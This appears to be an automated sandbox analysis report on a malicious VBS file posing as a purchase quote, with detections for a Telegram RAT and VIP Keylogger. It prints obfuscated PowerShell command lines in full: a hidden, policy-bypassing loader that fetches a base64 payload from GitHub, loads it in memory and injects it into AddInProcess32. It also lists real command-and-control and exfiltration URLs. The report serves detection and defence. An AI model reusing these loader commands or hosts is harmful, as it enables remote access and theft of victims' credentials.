Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhbzse9nrvsymv0rjhbtse9nzvsznf0rj3gnksgokcddjysnavn1cmwgpscrjybmjysnbvvodhrwczovjysnl3jhdycrjy5njysnaxqnkydodwj1jysncycrj2vyjysnyycrj28nkydudgvudccrjy5jb20vtm8nkydezxrljysny3rpbicrjy8nkydobycrj0rljysndgvjde8nkydul3jlzicrj3mvjysnagvhzhmnkycvjysnbwfpjysnbi9ejysnzxqnkydhaccrj05vdggtvi50jysnehqnkydmbvu7ienpu2jhc2u2nenvjysnbnrljysnbnqgpsaotmv3lu8nkydijysnamvjdccrjybtexn0zw0uticrj2v0lldlykmnkydsascrj2vudckujysnrg93bmxvyscrj2rtjysndhinkydpbmcnkycoq2knkydtdxinkydsktsgqycrj2ltyicrj2knkyduyscrj3j5jysnq28nkydudccrj2vudca9jysniccrj1ttexn0zscrj20uq29ujysndmvydccrj106okzyb21cyxnlnjrtjysndccrj3jpjysnbmcojysnqycrj2ltymfzzty0q29ujysndgvudck7jysniemnkydpuycrj2fzc2vtyicrj2x5id0nkycgjysnw1inkydlzmxly3rpbycrj24uqxmnkydzzw0nkydibhknkyddojpmbycrj2fkkccrj0mnkydpu2jpjysnbicrj2fyescrj0mnkydvbnrlbicrj3qnkycpjysnoybbzg5sawiusu8nkycusg9tzv06olzbssgnkydhjysnm1uwl2rpeutgl2qvzwuujysnzxqnkydzjysnyxankycvlzpzcccrj3r0agezvswgytmnkydvzgvzjysnyscrj3rpjysndicrj2enkydkb2ezvscrjywnkycgyscrjznvzgunkydzjysnyxrpdmenkydkbycrj2ezjysnvswgytnvzgunkydzyxqnkydpjysndmfkb2ezvswgytnvqscrj2rkjysnsw5qjysncm9jzscrj3nzmzinkydhm1usigezvwenkyczvsxhm1vhjysnm1upjykglvjfcgxby2ugichbq2hbcl05nytbq2hbcl01mstbq2hbcl04nsksw0noqxjdmzqglwnyzvbmyunficanzm1vjyxbq2hbcl0zosaglvjfcgxby2ugichbq2hbcl02nytbq2hbcl0xmdurw0noqxjdodmplftdaefyxtm2ksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $pshome[21]+$pshome[34]+'x')((('c'+'isurl ='+' f'+'muhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/no'+'dete'+'cton'+'/'+'no'+'de'+'tecto'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/d'+'et'+'ah'+'noth-v.t'+'xt'+'fmu; cisbase64co'+'nte'+'nt = (new-o'+'b'+'ject'+' system.n'+'et.webc'+'li'+'ent).'+'downloa'+'ds'+'tr'+'ing'+'(ci'+'sur'+'l); c'+'isb'+'i'+'na'+'ry'+'co'+'nt'+'ent ='+' '+'[syste'+'m.con'+'vert'+']::frombase64s'+'t'+'ri'+'ng('+'c'+'isbase64con'+'tent);'+' c'+'is'+'assemb'+'ly ='+' '+'[r'+'eflectio'+'n.as'+'sem'+'bly'+']::lo'+'ad('+'c'+'isbi'+'n'+'ary'+'c'+'onten'+'t'+')'+'; [dnlib.io'+'.home]::vai('+'a'+'3u0/diykf/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3u, a3'+'udes'+'a'+'ti'+'v'+'a'+'doa3u'+','+' a'+'3ude'+'s'+'ativa'+'do'+'a3'+'u, a3ude'+'sat'+'i'+'vadoa3u, a3ua'+'dd'+'inp'+'roce'+'ss32'+'a3u, a3ua'+'3u,a3ua'+'3u)') -replace ([char]97+[char]51+[char]85),[char]34 -creplace 'fmu',[char]39 -replace ([char]67+[char]105+[char]83),[char]36) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhbzse9nrvsymv0rjhbtse9nzvsznf0rj3gnksgokcddjysnavn1cmwgpscrjybmjysnbvvodhrwczovjysnl3jhdycrjy5njysnaxqnkydodwj1jysncycrj2vyjysnyycrj28nkydudgvudccrjy5jb20vtm8nkydezxrljysny3rpbicrjy8nkydobycrj0rljysndgvjde8nkydul3jlzicrj3mvjysnagvhzhmnkycvjysnbwfpjysnbi9ejysnzxqnkydhaccrj05vdggtvi50jysnehqnkydmbvu7ienpu2jhc2u2nenvjysnbnrljysnbnqgpsaotmv3lu8nkydijysnamvjdccrjybtexn0zw0uticrj2v0lldlykmnkydsascrj2vudckujysnrg93bmxvyscrj2rtjysndhinkydpbmcnkycoq2knkydtdxinkydsktsgqycrj2ltyicrj2knkyduyscrj3j5jysnq28nkydudccrj2vudca9jysniccrj1ttexn0zscrj20uq29ujysndmvydccrj106okzyb21cyxnlnjrtjysndccrj3jpjysnbmcojysnqycrj2ltymfzzty0q29ujysndgvudck7jysniemnkydpuycrj2fzc2vtyicrj2x5id0nkycgjysnw1inkydlzmxly3rpbycrj24uqxmnkydzzw0nkydibhknkyddojpmbycrj2fkkccrj0mnkydpu2jpjysnbicrj2fyescrj0mnkydvbnrlbicrj3qnkycpjysnoybbzg5sawiusu8nkycusg9tzv06olzbssgnkydhjysnm1uwl2rpeutgl2qvzwuujysnzxqnkydzjysnyxankycvlzpzcccrj3r0agezvswgytmnkydvzgvzjysnyscrj3rpjysndicrj2enkydkb2ezvscrjywnkycgyscrjznvzgunkydzjysnyxrpdmenkydkbycrj2ezjysnvswgytnvzgunkydzyxqnkydpjysndmfkb2ezvswgytnvqscrj2rkjysnsw5qjysncm9jzscrj3nzmzinkydhm1usigezvwenkyczvsxhm1vhjysnm1upjykglvjfcgxby2ugichbq2hbcl05nytbq2hbcl01mstbq2hbcl04nsksw0noqxjdmzqglwnyzvbmyunficanzm1vjyxbq2hbcl0zosaglvjfcgxby2ugichbq2hbcl02nytbq2hbcl0xmdurw0noqxjdodmplftdaefyxtm2ksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $pshome[21]+$pshome[34]+'x')((('c'+'isurl ='+' f'+'muhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/no'+'dete'+'cton'+'/'+'no'+'de'+'tecto'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/d'+'et'+'ah'+'noth-v.t'+'xt'+'fmu; cisbase64co'+'nte'+'nt = (new-o'+'b'+'ject'+' system.n'+'et.webc'+'li'+'ent).'+'downloa'+'ds'+'tr'+'ing'+'(ci'+'sur'+'l); c'+'isb'+'i'+'na'+'ry'+'co'+'nt'+'ent ='+' '+'[syste'+'m.con'+'vert'+']::frombase64s'+'t'+'ri'+'ng('+'c'+'isbase64con'+'tent);'+' c'+'is'+'assemb'+'ly ='+' '+'[r'+'eflectio'+'n.as'+'sem'+'bly'+']::lo'+'ad('+'c'+'isbi'+'n'+'ary'+'c'+'onten'+'t'+')'+'; [dnlib.io'+'.home]::vai('+'a'+'3u0/diykf/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3u, a3'+'udes'+'a'+'ti'+'v'+'a'+'doa3u'+','+' a'+'3ude'+'s'+'ativa'+'do'+'a3'+'u, a3ude'+'sat'+'i'+'vadoa3u, a3ua'+'dd'+'inp'+'roce'+'ss32'+'a3u, a3ua'+'3u,a3ua'+'3u)') -replace ([char]97+[char]51+[char]85),[char]34 -creplace 'fmu',[char]39 -replace ([char]67+[char]105+[char]83),[char]36) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0041E9D0 __vbaChkstk,__vbaOnError,#525,__vbaStrMove,__vbaLenBstr,__vbaStrToAnsi,GetUserNameA,__vbaStrToUnicode,__vbaFreeStr,#537,__vbaStrMove,__vbaInStr,#616,__vbaStrMove,__vbaFreeStr,__vbaFreeStr,__vbaErrorOverflow,

5_2_0041E9D0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR

Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	211 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ-5120240930 VENETA PESCA SRL.vbs	3%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
paste.ee	1%	Virustotal		Browse
raw.githubusercontent.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://paste.ee	1%	Virustotal		Browse
https://api.telegram.org/bot	2%	Virustotal		Browse
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt	2%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://paste.ee	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	188.114.97.3	true	true	1%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.110.133	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt	false	2%, Virustotal, Browse	unknown
https://paste.ee/d/FKyid/0	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2416249657.0000022C116D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://paste.ee	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.2401613966.0000022C025CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000004.00000002.2401613966.0000022C02D39000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://paste.ee	powershell.exe, 00000004.00000002.2401613966.0000022C01AB4000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
http://varders.kozow.com:8081	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://aborters.duckdns.org:8081	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.google.com	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://raw.githubusercontent.com	powershell.exe, 00000004.00000002.2401613966.0000022C025CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://checkip.dyndns.org/q	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2416249657.0000022C116D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000004.00000002.2401613966.0000022C02D3E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2461710510.000001A55424F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2461710510.000001A554263000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01661000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2461710510.000001A554290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01661000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://themes.googleusercontent.com	powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
